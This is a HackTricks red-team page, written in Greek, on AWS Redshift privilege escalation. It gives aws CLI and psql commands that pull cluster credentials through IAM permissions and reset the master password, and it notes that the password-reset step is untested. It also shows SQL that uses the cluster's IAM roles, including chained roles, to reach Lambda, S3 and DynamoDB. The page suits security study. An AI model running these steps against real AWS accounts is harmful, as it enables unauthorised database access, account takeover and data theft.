AWS - Redshift Privesc

Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Redshift

Για περισσότερες πληροφορίες σχετικά με το RDS, ελέγξτε:

AWS - Redshift Enum

redshift:DescribeClusters, redshift:GetClusterCredentials

Με αυτές τις άδειες μπορείτε να πάρετε πληροφορίες για όλα τα clusters (συμπεριλαμβανομένου του ονόματος και του ονόματος χρήστη του cluster) και να πάρετε διαπιστευτήρια για να αποκτήσετε πρόσβαση σε αυτό:

# Get creds
aws redshift get-cluster-credentials --db-user postgres --cluster-identifier redshift-cluster-1
# Connect, even if the password is a base64 string, that is the password
psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAM:<username>" -d template1 -p 5439

Πιθανές Επιπτώσεις: Βρείτε ευαίσθητες πληροφορίες μέσα στις βάσεις δεδομένων.

redshift:DescribeClusters, redshift:GetClusterCredentialsWithIAM

Με αυτές τις άδειες μπορείτε να πάρετε πληροφορίες για όλα τα clusters και να πάρετε διαπιστευτήρια για πρόσβαση σε αυτά. Σημειώστε ότι ο χρήστης postgres θα έχει τις άδειες που έχει η ταυτότητα IAM που χρησιμοποιήθηκε για να πάρει τα διαπιστευτήρια.

# Get creds
aws redshift get-cluster-credentials-with-iam --cluster-identifier redshift-cluster-1
# Connect, even if the password is a base64 string, that is the password
psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAMR:AWSReservedSSO_AdministratorAccess_4601154638985c45" -d template1 -p 5439

Πιθανές Επιπτώσεις: Εύρεση ευαίσθητων πληροφοριών μέσα στις βάσεις δεδομένων.

redshift:DescribeClusters, redshift:ModifyCluster?

Είναι δυνατόν να τροποποιηθεί ο κύριος κωδικός πρόσβασης του εσωτερικού χρήστη postgres (redshift) μέσω του aws cli (Νομίζω ότι αυτές είναι οι απαιτούμενες άδειες, αλλά δεν τις έχω δοκιμάσει ακόμα):

aws redshift modify-cluster –cluster-identifier <identifier-for-the cluster> –master-user-password ‘master-password’;

Πιθανές Επιπτώσεις: Βρείτε ευαίσθητες πληροφορίες μέσα στις βάσεις δεδομένων.

Πρόσβαση σε Εξωτερικές Υπηρεσίες

Για να έχετε πρόσβαση σε όλους τους παρακάτω πόρους, θα πρέπει να καθορίσετε τον ρόλο που θα χρησιμοποιηθεί. Ένα cluster Redshift μπορεί να έχει ανατεθεί μια λίστα από ρόλους AWS που μπορείτε να χρησιμοποιήσετε αν γνωρίζετε το ARN ή μπορείτε απλά να ορίσετε "default" για να χρησιμοποιήσετε τον προεπιλεγμένο.

Επιπλέον, όπως εξηγείται εδώ, το Redshift επιτρέπει επίσης τη συνένωση ρόλων (εφόσον ο πρώτος μπορεί να υποθέσει τον δεύτερο) για να αποκτήσετε περαιτέρω πρόσβαση, αλλά απλά διαχωρίζοντάς τους με μια κόμμα: iam_role 'arn:aws:iam::123456789012:role/RoleA,arn:aws:iam::210987654321:role/RoleB';

Lambdas

Όπως εξηγείται στο https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html, είναι δυνατόν να καλέσετε μια συνάρτηση lambda από το redshift με κάτι παρόμοιο:

CREATE EXTERNAL FUNCTION exfunc_sum2(INT,INT)
RETURNS INT
STABLE
LAMBDA 'lambda_function'
IAM_ROLE default;

S3

Όπως εξηγείται στο https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html, είναι δυνατόν να διαβάσετε και να γράψετε σε S3 buckets:

# Read
copy table from 's3://<your-bucket-name>/load/key_prefix'
credentials 'aws_iam_role=arn:aws:iam::<aws-account-id>:role/<role-name>'
region '<region>'
options;

# Write
unload ('select * from venue')
to 's3://mybucket/tickit/unload/venue_'
iam_role default;

Dynamo

Όπως εξηγείται στο https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html, είναι δυνατόν να ανακτήσετε δεδομένα από το dynamodb:

copy favoritemovies
from 'dynamodb://ProductCatalog'
iam_role 'arn:aws:iam::0123456789012:role/MyRedshiftRole';

Ο πίνακας του Amazon DynamoDB που παρέχει τα δεδομένα πρέπει να έχει δημιουργηθεί στην ίδια περιοχή AWS με το cluster σας, εκτός αν χρησιμοποιείτε την επιλογή REGION για να καθορίσετε την περιοχή AWS στην οποία βρίσκεται ο πίνακας του Amazon DynamoDB.

EMR

Ελέγξτε https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html

Αναφορές

Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Last updated